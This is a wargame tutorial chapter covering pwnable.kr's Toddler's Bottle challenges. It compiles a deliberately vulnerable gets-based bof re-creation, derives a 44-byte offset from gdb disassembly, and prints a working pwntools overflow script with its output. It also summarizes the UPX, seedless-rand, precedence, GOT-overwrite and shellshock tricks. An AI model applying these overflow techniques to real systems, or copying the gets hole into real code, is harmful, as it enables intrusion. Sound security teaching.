Step 209. Finishing pwnable.kr Toddler’s Bottle — Graduation Day for the Beginner Wargame

Step 209. Finishing pwnable.kr Toddler’s Bottle — Graduation Day for the Beginner Wargame

Level 3 — Real-World CTF & Advanced Attack Skills | Difficulty ★★★★☆ | Estimated time: 10 hours (spread over several days recommended)

Prerequisites: Step 177 (CTF Sampler 2: Pwn — fd, collision), Step 203 (writing shellcode). You can read gdb disassembly.

⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. pwnable.kr is a legal learning platform built to be solved.

  • What you need: WSL Ubuntu (gcc, gdb), Python + pwntools. The measured environment is Ubuntu 24.04, gcc 13.3.0, gdb 15.1, glibc 2.39, pwntools 4.15.0.
  • Caution: we do not connect to the external platform (pwnable.kr) from this environment. Server connection scenes and flags are shown as "Screen example," and for the flagship challenge bof we compile an equivalent re-creation binary in WSL and measure the attack ourselves.

In Step 177 you got a taste of Toddler’s Bottle’s first two challenges (fd, collision). Today you run the rest of the course. Every challenge in this corner is a classic that teaches "one trap of the C language" — buffer overflow, packed binaries, predictable random numbers, operator precedence, even an old Bash vulnerability. Finish them all and you’ve graduated from the beginner wargame.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Summarize the full Toddler’s Bottle challenge list and the trap each one teaches
  • Solve bof by calculating the offset from the disassembly and overflowing the buffer
  • Write a solution script with pwntools’ process/p32/sendline
  • Explain the design intent behind a packed binary (UPX), predictable random numbers, and the operator-precedence trap
  • Complete the habit of writing down "the one-line weakness the author aimed at" for every challenge

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment Reading C + WSL Ubuntu bash + Python/pwntools (measured: Ubuntu 24.04, gdb 15.1, pwntools 4.15.0)
Today’s commands file binary, strings binary, gdb -batch -ex "disassemble func", p32(0xcafebabe), p.sendline(payload)
Concepts needed Stack frames and offset calculation, the danger of gets, executable packing (UPX), pseudorandom seeds, C operator precedence
Today’s deliverables A local bof solution script + a "trap map" table of every Toddler’s Bottle challenge

2-1. The Toddler’s Bottle Map — One Trap per Challenge

Toddler’s Bottle (the name means "for babies") is pwnable.kr’s beginner corner. The full list and each challenge’s theme are as follows (based on the platform’s public list):

Challenge Trap it teaches
fd, collision Done in Step 177 — file descriptors, type casting
bof Classic buffer overflow — gets and variable overwrite
flag Unpacking a UPX-packed binary
passcode A missing & in scanf → GOT overwrite (dissected in Step 210)
random rand() without a seed produces the same sequence every time
mistake Operator precedence — < is evaluated before =
shellshock The famous 2014 Bash environment-variable vulnerability
coin1, blackjack, lotto Timing, probability, and implementation bugs
cmd1, cmd2 Command-filter bypass (paths, wildcards)
input, leg, uaf, memcpy, asm, unlink, etc. Handling argv/envp, ARM assembly, UAF, integer overflow, shellcode, unlink

Every hint lives in the source code. When you connect to the server, the challenge binary and its source sit side by side (Screen example):

# Screen example — right after connecting to the server
$ ssh bof@pwnable.kr -p2222
bof@ubuntu:~$ ls
bof  bof.c  flag

The source is the blueprint. Read it, grasp the author’s intent, and work the conditions backward — the exact routine from Step 177.

2-2. gets — The Most Dangerous Function in History

gets(buffer) reads until a newline with no length check. Stuff 100 bytes into a 32-byte buffer and it never stops; the extra 68 bytes overwrite neighboring stack variables and the saved return address. It was so dangerous that it was removed from the C11 standard, and modern compilers print the warning "the `gets’ function is dangerous" at link time (measured in this chapter). Why does a wargame still use it? Precisely to teach that danger.

2-3. Offsets — "Which Byte Is the Target Variable?"

Buffer-overflow solving comes down to a single number: the offset. It’s the distance in bytes from the start of the buffer to the target variable. Two ways to measure it — ① read the stack positions of the buffer and the variable (relative to rbp) in the gdb disassembly and subtract, ② send a distinctive pattern and watch which bytes get overwritten. Today we measure with method ①.

2-4. pwntools — The Standard Toolbox for Pwn

In Step 177 you built payloads with struct.pack and subprocess. In real work, pwntools does that job for you: launch with process("./bof"), pack little-endian with p32(0xcafebabe) (= struct.pack("<I", ...)), and handle I/O with sendline/recvall. Today’s solution script is your first real pwntools outing.


3. Follow Along

3-1. Re-creating the Flagship Challenge — bof.c

pwnable.kr’s bof is an open-source classic. The original targets a 32-bit environment, so we re-create it with one change to keep the same logic in this (64-bit) environment — copying the parameter key into a local variable check (to preserve the original’s "comparison variable sitting above the buffer" structure; you’ll see why, hands-on, in 3-2).

Input (bof64.c)

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	int check = key;   /* 64-bit re-creation: copy the parameter into a local */
	printf("overflow me : ");
	gets(overflowme);
	if(check == 0xcafebabe){
		printf("FLAG{b0f_0ffs3t_m4st3r}\n");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	setvbuf(stdout, NULL, _IONBF, 0);  /* re-creation convenience: flush output immediately */
	func(0xdeadbeef);
	return 0;
}

Compile and first run

mkdir -p ~/lab209_213 && cd ~/lab209_213
gcc -fno-stack-protector -no-pie -o bof64 bof64.c
echo hello | ./bof64
overflow me : Nah..

(Measured 2026-09-09. At compile time you’ll see warning: the 'gets' function is dangerous and should not be used — the very warning from 2-2. -fno-stack-protector turns off the Step 62 canary; -no-pie fixes addresses. Both are practice switches that "lower the shields so we can learn.")

How to read it: the key passed via func(0xdeadbeef) is copied into check, and gets fills overflowme with input. The flag appears only when check == 0xcafebabe, but we can’t change func‘s argument. One path remains — use gets‘ overflow to overwrite check.

Prediction: overflowme and check are neighbors in the same stack frame. How many bytes from the buffer does it take to reach check? Confirm it yourself in the next section’s disassembly.

3-2. Calculating the Offset — Three Lines of Disassembly Are Enough

gdb -batch -ex "disassemble func" ./bof64 | grep -E "mov.*edi|lea.*rbp|cmpl"
   0x0000000000401182 <+12>:	mov    %edi,-0x34(%rbp)
   0x000000000040119f <+41>:	lea    -0x30(%rbp),%rax
   0x00000000004011b0 <+58>:	cmpl   $0xcafebabe,-0x4(%rbp)

(Measured 2026-09-09.)

How to read the output: three lines say it all.

  • <+41>: the instruction building the buffer address passed to gets — the buffer is at rbp-0x30
  • <+58>: the comparison — check is at rbp-0x4, and the target value is 0xcafebabe
  • Offset = 0x30 - 0x4 = 0x2c = 44 bytes

So the answer is "44 A’s + the 4-byte target value." The first 44 bytes are padding; the next 4 land exactly on check. In the original (32-bit) challenge this offset is known to be 52 bytes — stack-frame layout changes with the compiler and bit width, which is why an offset is never memorized, always re-measured.

3-3. The Attack — 44 Bytes of Padding + 0xcafebabe

First, confirm with a shell pipe:

python3 -c "
import sys, struct
sys.stdout.buffer.write(b'A'*44 + struct.pack('<I', 0xcafebabe))
" | ./bof64
overflow me : FLAG{b0f_0ffs3t_m4st3r}

(Measured 2026-09-09.)

How to read the output: instead of Nah.., the flag appeared. Our 44 A’s filled the buffer and its neighbor, and the final 4 bytes be ba fe ca (little-endian) changed check to exactly 0xcafebabe. We didn’t "blow up" memory — we measured an exact distance and overwrote a neighboring variable.

Here’s the same attack organized as a pwntools script (solve_bof.py):

from pwn import *

p = process("./bof64")
payload = b"A" * 44            # distance from buffer (rbp-0x30) to check (rbp-0x4)
payload += p32(0xcafebabe)     # target value in little-endian
p.sendline(payload)
print(p.recvall(timeout=3).decode(errors="replace"))
[x] Starting local process './bof64'
[+] Starting local process './bof64': pid 627
[+] Receiving all data: Done (38B)
[*] Process './bof64' stopped with exit code -11 (SIGSEGV) (pid 627)
overflow me : FLAG{b0f_0ffs3t_m4st3r}

(Measured 2026-09-09, pwntools 4.15.0.)

How to read the new tool: p32 packs little-endian, and sendline sends payload + newline. Note the SIGSEGV on the last line — the segfault happened after the flag printed. Because the padding, including the NUL gets appends, touched the saved rbp, the function crashed on its way back. Flag first, crash later — the original bof behaves exactly this way. "The attack can succeed and the program can still die" is everyday life in buffer overflows.

3-4. How to Think About the Other Challenges — Screen Examples and Concepts

For the server challenges we summarize only the design intent, without connecting (actual connection scenes are Screen examples).

flag — the packed binary. This challenge gives you only an executable, no source. Check it with file:

# Screen example — the analysis flow for flag
$ file flag
flag: ELF 32-bit LSB executable, ..., UPX compressed, ...
$ upx -d flag          # unpack
$ strings flag | grep -i "upx\|flag"
UPX! ... The quick brown fox ...

UPX is a "packing" tool that compresses executables. A packed binary can’t be analyzed, so you unpack it with upx -d and sift the strings with strings — and there’s the flag. It teaches "you never know an executable until you open it." upx isn’t installed in this environment, so we skip the re-creation (if it’s installed, you can compress and unpack any binary with upx).

random — seedless randomness. The source XORs the return value of rand() with your input. The key fact: if you never call srand() to give it a seed, rand() emits the same sequence every time, no matter how often you restart the program. It’s not "random" at all — it’s a constant. You can confirm this locally in five seconds: run a program that calls rand() once, twice. Same number. The answer is that fixed value XORed with the target.

mistake — operator precedence. The source has a line like if(fd=open(...)<0). In C, < is evaluated before =, so fd receives not the opened file number but the comparison result (0 or 1). If fd becomes 0, the program reads from stdin — the same door as Step 177’s fd challenge, entered through a completely different bug.

passcode — today’s real boss. It starts with a missing-& bug like scanf("%d", passcode1) and ends with overwriting fflush‘s GOT entry with the address of a system call. This is the first appearance of "write an arbitrary value to an arbitrary address" — which is exactly Step 210’s topic. Today we only note why this challenge is scary; we re-create the structure by hand in Step 210.

shellshock — a historic vulnerability. A 2014 Bash environment-variable parsing bug: append a command after a function definition in an environment variable’s value, and Bash executed that command too. The challenge exploits an old Bash left unpatched on the wargame server — the lesson is "unpatched software is an eternal attack surface."

3-5. The Write-up Routine — Notes Are Skill

Every time you solve a challenge, record it in Step 177’s format:

[bof]   Input: stdin(gets) → overflowme[32] → check comparison (0xcafebabe)
        Reverse: offset 44 from disassembly → A*44 + p32(0xcafebabe)
        Weakness: length-check-free gets allowed to write into a neighboring local

As these one-line summaries pile up, you’ll start spotting "which line is the hole" the moment you see similar code. The real goal of finishing the course isn’t the flag count — it’s this eye.


4. Missions & Exercises

Mission — A Second bof with a Different Offset

  1. Make bof2.c by changing char overflowme[32]; to char overflowme[24]; in bof64.c
  2. Calculate the new offset from the disassembly, the same way as before
  3. Fix the solution script and pop the flag
  4. Write one line in your notes on why bof and bof2 have different offsets

Exercises

Problem 1. In bof, why does a payload of "40 A’s + p32(0xcafebabe)" instead of "44 A’s" fail? Which number in the disassembly is the evidence?

Problem 2. In 3-3’s pwntools result, why did SIGSEGV occur after the flag printed? Explain in terms of the character gets appends and the saved rbp.

Problem 3. The core of random — "why does rand() without a seed give the same number every time?" And why is this fact fatal in a real service (e.g., session-token generation)?

Problem 4. In mistake’s if(fd=open(...)<0), what value actually lands in fd, and how does that make it "the same door as the fd challenge"?


5. Model Answers & Completion Criteria

Mission Model Answer

Shrink the buffer to 24 and the disassembly moves the buffer to around rbp-0x28 (confirm the exact value from your own greped output — that is the mission’s core procedure). Compute the new offset as "the buffer’s rbp-relative position − check’s rbp-relative position," and only b"A" * 44 in the script needs the new number.

How to verify: ① did you find the two lines lea -0x??(%rbp) and cmpl $0xcafebabe,-0x4(%rbp) in the disassemble func output and write down the subtraction, ② did the flag pop with the new offset, ③ does your note say "when the buffer shrinks, its rbp-relative position pulls closer and the offset changes — re-measure the offset for every binary."

Exercise Answers

Problem 1 answer. Because the offset is 4 bytes short, the p32 value is written not on check (rbp-0x4) but 4 bytes below it. The evidence is the two relative positions in the disassembly — buffer rbp-0x30, check rbp-0x4, a difference of 0x2c (44). Miss an offset attack by even 1 byte and the condition fails.

Problem 2 answer. gets writes one more NUL (\0) at the end of the input. A 44+4=48-byte payload reaches the 48th byte from the buffer — the first byte of the saved rbp — and the NUL overwrites it, corrupting rbp. func runs the check and prints the flag fine, but on return, leave restores the corrupted rbp, the stack tangles, and it segfaults. Flag first, crash later — the attack counts as a success.

Problem 3 answer. rand() is a pseudorandom generator — it computes the next number with a fixed formula, so the same starting point (seed) means the same entire sequence. Without srand, the seed stays at its default of 1, so every run yields the same first number. Build session tokens or temporary passwords this way and an attacker can replay the same sequence locally and predict every token. Security-grade randomness must come from /dev/urandom or a cryptographic RNG.

Problem 4 answer. < has higher precedence than =, so it evaluates as fd = (open(...) < 0). When the file opens normally, open returns 3 or higher, so the comparison is 0 — meaning fd gets 0. fd 0 is stdin, so data the program believes it’s reading from a file is supplied directly by the attacker’s keyboard (or a pipe). Different bug, same destination as the fd challenge.

Completion Criteria Checklist

  • [ ] I summarized the full Toddler’s Bottle list and each trap in a table
  • [ ] I compiled the bof re-creation and calculated offset 44 from the disassembly myself
  • [ ] I popped the flag with an A*44 + p32(0xcafebabe) payload
  • [ ] I can explain the roles of pwntools’ process/p32/sendline/recvall
  • [ ] I can state in one line each the design intent of flag (UPX), random (seed), mistake (precedence), passcode (GOT), and shellshock (unpatched)
  • [ ] I can explain why SIGSEGV follows a successful flag
  • [ ] Mission: I built bof2, solved it with the new offset, and noted the difference

6. Common Pitfalls & Fixes

Wall 1. I used offset 52 and it didn’t work

Symptom: you copied offset 52 from an online write-up and only get Nah...
Cause: 52 is the value for the original 32-bit binary. In your 64-bit re-creation it was 44 (measured 2026-09-09). Stack-frame layout varies with compiler, bit width, and options.
Fix: always re-measure the offset with disassemble func on the binary in front of you. That is this chapter’s core skill.

Wall 2. I sent the payload and it died with no output at all

Symptom: neither the flag nor Nah.. — just a segfault.
Cause: suspect two things — ① the offset was off and you broke the return address first, ② stdout buffering. Piped stdout accumulates in a buffer, and if the program dies, the contents vanish.
Fix: put setvbuf(stdout, NULL, _IONBF, 0) in your re-creation binary (today’s bof64.c has it). And re-measure the offset.

Wall 3. An error saying gets won’t compile

Symptom: you see warning: implicit declaration of function 'gets'.
Cause: modern glibc headers dropped the gets declaration (removed in C11). It’s only a warning — linking still succeeds because the symbol remains in the library.
Fix: for today’s "learning the danger" purpose, ignore the warning and proceed. But never use gets in code you write — fgets(buffer, size, stdin) is the alternative.

Wall 4. pwntools recvall never finishes

Symptom: the script hangs at p.recvall().
Cause: recvall waits until the process closes its output. If the program is interactively waiting for something more, it waits forever.
Fix: give it a timeout like recvall(timeout=3), or use recvuntil(b"FLAG") to stop at an expected string. That’s why today’s script has a timeout.

Wall 5. The pressure of "do I have to solve everything to finish?"

Symptom: grind challenges like coin1 or blackjack wear you out.
Cause: that’s normal. This corner has over 20 challenges, each with a different personality.
Fix: this chapter’s completion criterion isn’t an "all-clear screenshot" — it’s a map that lets you explain each challenge’s trap. Understanding the backbone challenges (bof, random, mistake, passcode) deeply beats forcing the last one. Leave the rest to your free time and your server-connection setup.


7. Summary

Today’s Concepts

Concept One-line description
Offset Byte distance from buffer start to the target variable — re-measured from disassembly every time
gets Input function with no length check — the legendary danger removed in C11
UPX packing Executable compression — must be unpacked with upx -d before analysis
Pseudorandomness and seeds rand() without srand repeats the same sequence — predictable if used for security
Operator-precedence trap fd=open(...)<0 is fd=(open(...)<0) — the comparison result is what gets stored
GOT overwrite The heart of passcode — overwrite the function address table to hijack calls (Step 210)

Today’s Commands

Command What it does
gcc -fno-stack-protector -no-pie -o bof64 bof64.c Practice compile with canary and PIE off
gdb -batch -ex "disassemble func" ./bof64 | grep -E "..." Extract the rbp-relative positions of buffer and variable to compute the offset
p32(0xcafebabe) Pack an integer as 4 little-endian bytes (pwntools)
p = process("./bof64"); p.sendline(payload) Launch a local binary and send the payload
p.recvall(timeout=3) Receive all remaining output within the timeout
file binary, strings binary Check packing status and embedded strings

The Sense That Matters More Than Commands

Toddler’s Bottle’s real lesson isn’t a list of techniques. It’s the attitude that every hint is in the source, and every attack is a backward calculation of conditions. Offset 44 came from three lines of disassemble; random’s answer came from the single fact "there’s no seed." Accurate reading beats flashy tools.

And as you saw in bof, a program can die even when the attack succeeds — real-world exploitation is the craft of achieving the goal "quietly and reliably," and its first step was that process you just killed. The GOT overwrite peeking out of passcode (Step 210) also stands on today’s sense — "the table is data, and data gets overwritten."


Once every box is checked, Step 209 is complete. Click the checkbox in the sidebar to save your progress.